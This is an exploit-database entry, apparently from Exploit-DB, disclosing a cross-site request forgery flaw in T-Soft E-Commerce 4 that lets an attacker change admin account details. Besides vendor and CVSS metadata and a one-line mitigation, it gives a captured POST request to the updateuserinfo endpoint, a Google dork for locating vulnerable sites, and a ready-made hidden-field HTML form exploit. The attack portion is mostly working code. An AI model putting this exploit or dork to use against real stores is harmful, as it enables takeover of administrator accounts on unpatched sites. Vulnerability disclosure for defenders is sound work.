T-Soft E-Commerce 4 - change 'admin credentials' Cross-Site Request Forgery (CSRF)

vendor:

T-Soft E-Commerce 4

by:

Alperen Ergel

8,8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: T-Soft E-Commerce 4

Affected Version From: v4

Affected Version To: v4

Patch Exists: NO

Related CWE: None

CPE: a:tsoft:t-soft_e-commerce_4

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Kali Linux (2021.4) / xammp

2021

T-Soft E-Commerce 4 – change ‘admin credentials’ Cross-Site Request Forgery (CSRF)

Attacker can change admin information by sending a malicious POST request to the victimsite.com/srv/service/admin/updateuserinfo with the desired credentials in the request body.

Mitigation:

Implementing a CSRF token in the request body and validating it on the server side.

Source

Exploit-DB raw data:

# Exploit Title: T-Soft E-Commerce 4 - change 'admin credentials' Cross-Site Request Forgery (CSRF) 
# Exploit Author: Alperen Ergel
# Software Homepage: https://www.tsoft.com.tr/
# Version : v4
# Tested on: Kali Linux (2021.4) / xammp
# Category: WebApp
# Google Dork: intext:'T-Soft E-Ticaret Sistemleriyle Hazırlanmıştır.'"
# Date: 2021-08-15
######## Description ########
#
# Attacker can change admin informaiton
#
#
######## Proof of Concept ########

POST /srv/service/admin/updateuserinfo HTTP/1.1

Host: localhost

Cookie: lang=tr; PHPSESSID=f2904b66de6c0e7ac0d4a9707b9f978c; rest1SupportUser=0; countryCode=TR; nocache=1; yayinlanmaDurumuPopup=1; yayinlanmaDurumuPopupTimeout=864000; webpush=1; U_TYPE_CK=131; U_TYPE_OK=c16a5320fa475530d9583c34fd356ef5; TSOFT_LOGGED=7d025a34d0526c8896d713159b0d1ffe; email=; phone=; password=

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Content-Length: 74

Origin: http://localhost

Referer: http://localhost/Y/

Te: trailers

Connection: close



firstName=Victim&lastName=victim&email=victim%40mail.com&phone=12584368595




####### EXPLOIT ##################
<html>

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="victimsite.com/srv/service/admin/updateuserinfo" method="POST">

      <input type="hidden" name="firstName" value="[CHANGEHERE]" />

      <input type="hidden" name="lastName" value="[CHANGEHERE]" />

      <input type="hidden" name="email" value="[CHANGEHERE]" />

      <input type="hidden" name="phone" value="[CHANGEHERE]" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>